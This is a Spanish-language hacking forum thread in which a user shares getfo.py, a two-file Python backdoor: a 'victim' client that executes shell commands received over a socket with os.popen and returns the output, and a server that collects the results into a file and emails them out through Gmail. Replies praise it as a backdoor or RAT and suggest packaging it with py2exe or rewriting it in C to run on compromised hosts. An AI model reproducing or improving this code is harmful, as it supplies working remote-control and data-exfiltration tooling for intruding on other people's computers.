comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Herramienta] getfo.py

  • 7 Respuestas
  • 1612 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Barlan

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • "The demons of my own design"
    • Ver Perfil
  • Twitter: @BarlanV
« en: Abril 22, 2015, 01:42:57 am »
Buenas noches/dias/tardes.
Estuve escribiendo esta herramienta, aprovechando un poco el code del email-sender que hice hace unos meses.
También para practicar sockets, y para aprovechar uno de los inconvenientes del primer code: no poder adjuntar archivos en un email.

Son 2 archivos, el servidor y la víctima (o el cliente, jeje).

Funcionamiento:
Abrimos el servidor, y esperamos la conexión de la victima.
Mientras tanto, extrañamente la victima se conecta a nosotros  ::)
El servidor ahora puede enviarle comandos, y la victima los recibe y ejecuta con os.popen(comando), y envía los resultados al servidor.

El servidor guarda el resultado en un archivo de texto, y da la opcion de enviar otro comando, o no, y si desea enviar el archivo por correo [Gmail] (puede servir para un "trabajo en equipo", quizás)
Si elegimos enviarlo por correo, iniciamos sesión en en el mismo programa, especificamos un destinatario, y envia el archivo.

Servidor (getfo.py):
Código: Python
  1. import socket, os
  2. import smtplib
  3. from email.mime.multipart import MIMEMultipart
  4. from email.mime.text import MIMEText
  5.  
  6. #////////////////////////////////////////////////////////////////////////////////////////////////////////////#
  7.  
  8. class Get():
  9.     '''
  10.    Get() crea el servidor, y apartír de ahi espera una conexión entrante (la victima).
  11.    Lo siguiente es enviar un comando, y esperar los datos de regreso.
  12.    Despues, elegimos la opción de si guardarlo en la PC, o enviarlo via correo electrónico.
  13.    '''
  14.     def __init__(self):
  15.         self.i = True
  16.  
  17.     def menu(self):
  18.         os.system("cls")
  19.         print("""
  20. #================================#
  21. # getfo.py
  22. # One client, one victim.
  23. #================================#
  24. 1) Start server.
  25. 2) Send info.
  26. 3) Exit.""")
  27.         e = int(input(">> "))
  28.         if e == 1: self.start()
  29.         elif e == 2: self.for_mail()
  30.         elif e == 3:
  31.             self.i = False
  32.             exit_cmd()
  33.  
  34.     def start(self):
  35.         '''start() comienza la ejecución del servidor
  36.        Imprime un mensaje de exito y procede a esperar una conexión entrante.
  37.        '''
  38.  
  39.         self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  40.         self.socksv.bind(("127.0.0.1", 10232))
  41.         self.socksv.listen(2)
  42.         print("\n[+] Server now listening on 127.0.0.1:10232\n")
  43.         self.sc, self.addr = self.socksv.accept()
  44.         print("[+] %s is now online." % str(self.addr))
  45.         self.send_cmd()
  46.  
  47.     def send_cmd(self):
  48.         '''send_cmd(), sus funciones son:
  49.                1) Enviar comandos y recibir los resultados
  50.                2) Guardar los datos en un archivo de texto.
  51.  
  52.            En caso de elegir enviarlos por correo electrónico, se procede a ello pasando a la clase send_Results().
  53.        '''
  54.  
  55.         cmd = str(input("Command? (""exit"" to close)>> "))
  56.         if cmd == "exit":
  57.             self.sc.close()
  58.             self.socksv()
  59.             exit_cmd()
  60.  
  61.         self.sc.send(cmd.encode("utf-8"))
  62.         print("[!...] Awaiting....")
  63.         resp = self.sc.recv(2048)
  64.         if os.path.exists("data_info.txt"):
  65.             with open("data_info.txt", "a") as f:
  66.                 f.write(str(resp.decode("utf-8") + "\n\n"))
  67.         else:
  68.             with open("data_info.txt", "w") as f:
  69.                 f.write(str(resp.decode("utf-8") + "\n\n"))
  70.         print("[+] Data received and saved on 'data_info.txt'")
  71.         a = str(input("\n[?] Want to send another command? (y/n) ")).lower()
  72.         if a == "y":
  73.             self.send_cmd()
  74.         elif a == "n":
  75.             g = str(input("[?!] Do you want to send the info via email? (y/n): ")).lower()
  76.             if g == "y":
  77.                 self.for_mail()
  78.             elif g == "n":
  79.                 exit_cmd()
  80.  
  81.     def for_mail(self):
  82.         if os.path.exists("data_info.txt"):
  83.             my_e = str(input("\n[?] Your gmail account: "))
  84.             passw = str(input("[?] Your password: "))
  85.             if self.i == True:
  86.                 b = Email(my_e, passw)
  87.                 b.login()
  88.             else:
  89.                 self.menu()
  90.         else:
  91.             print("[!] File: data_info.txt doesn't exist.\nPress any key to return to the main menu....")
  92.             self.sc.close()
  93.             self.socksv()
  94.             self.menu()
  95.  
  96. #////////////////////////////////////////////////////////////////////////////////////////////////////////////#
  97.  
  98. class Email():
  99.     ''' Email() es el encargado de enviar el fichero por Gmail.
  100.    Son recibidas 2 variables: tu correo, y tu contraseña.
  101.    Se inicia sesión, y se procede a definir el email que recibirá el fichero.
  102.    '''
  103.  
  104.     def __init__(self, my_e, passw):
  105.         self.gmail = smtplib.SMTP('smtp.gmail.com', 587)
  106.         self.mail = my_e
  107.         self.passw = passw
  108.    
  109.     def login(self):
  110.         '''login() se encarga de hacer conexión al servidor de Gmail, e inicia sesión con nuestros datos.'''
  111.         self.gmail.ehlo()
  112.         self.gmail.starttls()
  113.         try:
  114.             self.gmail.login(self.mail, self.passw)
  115.             self.send_message()
  116.         except Exception as e:
  117.             print("[-] Error: " + str(e) + "\n\nPress any key to return to exit....")
  118.             input()
  119.             exit_cmd()
  120.  
  121.     def send_message(self):
  122.         '''send_message() se encarga de definir el destino del correo,
  123.        y además adjunta el archivo con los datos recopilados.'''
  124.  
  125.         e_to = str(input("\n[?] To address: "))
  126.         msg = MIMEMultipart('alternative')
  127.         msg['Subject'] = 'Information for you'
  128.         msg['From'] = self.mail
  129.         body = 'I recopiled this information from a victim.'
  130.  
  131.         filename = "data_info.txt"
  132.         r = open(filename)
  133.         att = MIMEText(r.read())
  134.         att.add_header("Content-Disposition", "attachment", filename = filename)
  135.         msg.attach(att)
  136.  
  137.         content = MIMEText(body, 'plain')
  138.         msg.attach(content)
  139.         print("[!] Sending email to %s..." % e_to)
  140.         try:
  141.             self.gmail.sendmail(self.mail, e_to, msg.as_string())
  142.         except Exception as e:
  143.             print("[-] Error: " + str(e) + "\n\nPress any key to return to the main menu....")
  144.             input()
  145.             a = Get()
  146.             a.menu()
  147.  
  148.         print("[+] Data sent successfully.")
  149.  
  150. #////////////////////////////////////////////////////////////////////////////////////////////////////////////#
  151.  
  152. def exit_cmd():
  153.         '''El mensaje de adios'''
  154.         print("\nExiting... ")
  155.         copyright()
  156.  
  157. def copyright():
  158.         '''Creditos'''
  159.         print("(C) Barlan. | April 21, 2015\n")
  160.  
  161. if __name__ == "__main__":
  162.     Get().menu()
  163.  



La victima (victim.py):
Código: Python
  1. import socket, os
  2.  
  3. class cCMD():
  4.     def start(self):
  5.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.         try:
  7.             sock.connect(("127.0.0.1", 10232))
  8.             print("[!+] Connection established!")
  9.         except:
  10.             print("[-] Can't establish a connection to server.")
  11.             exit()
  12.         while True:
  13.             print("\n[...] Awaiting commands...")
  14.             re = sock.recv(1024)
  15.             if not re:
  16.                 print("\n[...] Exiting")
  17.                 exit()
  18.             cmd = re.decode("utf-8")
  19.             print("[!] Executing command...")
  20.             text = os.popen(cmd)
  21.             data = str(text.read())
  22.             sock.send(data.encode("utf-8"))
  23.             print("[+] Data sent succesfully.")
  24.  
  25. if __name__ == "__main__":
  26.     cCMD().start()
  27.  

Algunas fotocapturas:








Pensaba agregarle una GUI, pero aún no domino tkinter (no se deja  :o)
Me gustaría que opinaran acerca del code, si existen partes removibles, si puedo añadirle más funciones (o limpiar un poco el code, porque hasta yo me perdía  ;D), no sé, ustedes digan.

Sin más que decir, me despido.

Saludos!
« Última modificación: Abril 23, 2015, 02:19:51 pm por Barlan »


Desconectado Flemon

  • *
  • Underc0der
  • Mensajes: 235
  • Actividad:
    0%
  • Reputación 0
  • NO HAY FORMA DE DETENERME!!
    • Ver Perfil
    • Email
« Respuesta #1 en: Abril 22, 2015, 05:56:29 am »
En verdad un trabajo excelente Barlan! Muy bueno, me gusto mucho! Fijate de hacer la interfaz grafica y ver que tal va el proyecto!!! Cualquier cosa pega el grito, que mas de uno te va a dar una mano por acá!
No intentes pararme, trata de defenderte, trata de matarme, pero de cualqueir forma TE SUPERARE

Desconectado Barlan

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • "The demons of my own design"
    • Ver Perfil
  • Twitter: @BarlanV
« Respuesta #2 en: Abril 22, 2015, 06:10:31 am »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
En verdad un trabajo excelente Barlan! Muy bueno, me gusto mucho! Fijate de hacer la interfaz grafica y ver que tal va el proyecto!!! Cualquier cosa pega el grito, que mas de uno te va a dar una mano por acá!

Espero terminar la Interfaz en estos días (dependiendo que no me dejen tarea c: ).
Y claro, si llego a tener dudas, siempre contaré con el foro para encontrar solucion a ellas!  ;D

Saludos!


Desconectado rand0m

  • *
  • Underc0der
  • Mensajes: 214
  • Actividad:
    0%
  • Reputación 0
  • Paso de cosas personales, déjame
    • Ver Perfil
« Respuesta #3 en: Abril 22, 2015, 07:58:45 am »
Muy bueno, pero hacerlo en python no me parece del todo una buena idea para una backdoor.
¿No sería mejor compilarlo en C para hacerlo multiplataforma? Sería una pena no poder utilizarlo porque el host comprometido no utilice el intérprete de Python...
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5395
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #4 en: Abril 22, 2015, 08:18:26 am »
Muy bueno Barlan!
Te dejo +Puntos!

Saludos!
ANTRAX


Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Abril 22, 2015, 09:01:13 am »
Hola Barlan! Muchas gracias por compartir tus trabajos!

El año pasado, mas o menos a esta altura del año, desarrollé con Python un buen RAT para consola, totalmente estable y 100% efectivo. Lo estuve testeando y todo. La verdad que funcionaba muy bien. El único problema que tenía es que no permitía el control simultáneo de varios hosts remotos. De todas formas, tampoco era ésa la idea, ya que la finalidad de ése proyecto era lograr una fuerte estabilidad en lo que respecta a sockets y ejecución de comandos de manera remota. A partir de éso, se podría crear algo con una interfaz gráfica amigable, más completo (también tenía algunos módulos desarrollados para éso) y con control simultáneo de hosts remotos.

Cumplí mi objetivo con ese RAT pero, por cuestiones de tiempo, no he podido completar el desarrollo del mismo.

Bueno, me fui por las ramas xD... Te felicito por tu código y te dejo +1.

Espero seguir viendo aportes de este tipo!



No tienes permisos para ver links. Registrate o Entra con tu cuenta
Muy bueno, pero hacerlo en python no me parece del todo una buena idea para una backdoor.
¿No sería mejor compilarlo en C para hacerlo multiplataforma? Sería una pena no poder utilizarlo porque el host comprometido no utilice el intérprete de Python...

En realidad no es así. Existen varias aplicaciones que permiten convertir los scripts de python en ejecutables de Windows. Es cierto que se pierde un poco de estabilidad pero puedo asegurar que con un manejo adecuado de errores se logra una gran robustez.



Saludos!
WhiZ
« Última modificación: Abril 22, 2015, 09:06:48 am por WhiZ »


Desconectado Barlan

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • "The demons of my own design"
    • Ver Perfil
  • Twitter: @BarlanV
« Respuesta #6 en: Abril 22, 2015, 02:46:30 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Muy bueno, pero hacerlo en python no me parece del todo una buena idea para una backdoor.
¿No sería mejor compilarlo en C para hacerlo multiplataforma? Sería una pena no poder utilizarlo porque el host comprometido no utilice el intérprete de Python...

Por ello me he propuesto aprender C/C++ xd
Aún así, como dice WhiZ, existe, por ejemplo, py2exe, que "transforma" un archivo python a un ejecutable (.exe).

No tienes permisos para ver links. Registrate o Entra con tu cuenta
Muy bueno Barlan!
Te dejo +Puntos!

Saludos!
ANTRAX

Muchas gracias ANTRAX!  :D



Desconectado Barlan

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • "The demons of my own design"
    • Ver Perfil
  • Twitter: @BarlanV
« Respuesta #7 en: Abril 22, 2015, 03:06:55 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Hola Barlan! Muchas gracias por compartir tus trabajos!

El año pasado, mas o menos a esta altura del año, desarrollé con Python un buen RAT para consola, totalmente estable y 100% efectivo. Lo estuve testeando y todo. La verdad que funcionaba muy bien. El único problema que tenía es que no permitía el control simultáneo de varios hosts remotos. De todas formas, tampoco era ésa la idea, ya que la finalidad de ése proyecto era lograr una fuerte estabilidad en lo que respecta a sockets y ejecución de comandos de manera remota. A partir de éso, se podría crear algo con una interfaz gráfica amigable, más completo (también tenía algunos módulos desarrollados para éso) y con control simultáneo de hosts remotos.

Cumplí mi objetivo con ese RAT pero, por cuestiones de tiempo, no he podido completar el desarrollo del mismo.

Bueno, me fui por las ramas xD... Te felicito por tu código y te dejo +1.

Espero seguir viendo aportes de este tipo!

Muchas gracias!
Yo pasé algo similar con el e-sender. Primero lo hice en consola, e iba a publicarlo aquí, pero me di cuenta que ya había aproximadamente 2 programas similares en el foro, así que tuve la idea de usar tkinter. El problema es que no conocía nada de el, así que mientras avanzaba el proyecto del e-sender, también aprendía (casi desde 0) tkinter. En el code que acabo de publicar, tenía planeado usar threads junto con una interfaz, pero no conozco casi nada de threads, y bueno, ya tenía el programa funcional, con (probablemente) todas las posibles excepciones aseguradas, así que mejor lo publiqué, y crear la interfaz despues.  ;D

Saludos!


 

¿Te gustó el post? COMPARTILO!



Herramienta Google Colaborativo - Entorno de notebook Jupyter Online...

Iniciado por Andrey

Respuestas: 0
Vistas: 596
Último mensaje Febrero 26, 2018, 01:02:48 am
por Andrey
PythonLOIC - Nueva herramienta para ataques Ddos

Iniciado por ANTRAX

Respuestas: 17
Vistas: 7257
Último mensaje Septiembre 08, 2014, 05:38:01 pm
por Hexs
[APORTE] cat.py, herramienta para buscar panel administrativo web

Iniciado por k1llu4s3x

Respuestas: 0
Vistas: 726
Último mensaje Febrero 27, 2018, 12:06:26 am
por k1llu4s3x
ARPwner - Envenenamiento ARP y DNS herramienta de ataque (backtrack5)

Iniciado por ZanGetsu

Respuestas: 0
Vistas: 974
Último mensaje Marzo 22, 2013, 04:56:46 pm
por ZanGetsu
HULK, una herramienta DoS para servidores web

Iniciado por Acidkode

Respuestas: 1
Vistas: 2858
Último mensaje Junio 03, 2013, 06:26:00 pm
por Pr0ph3t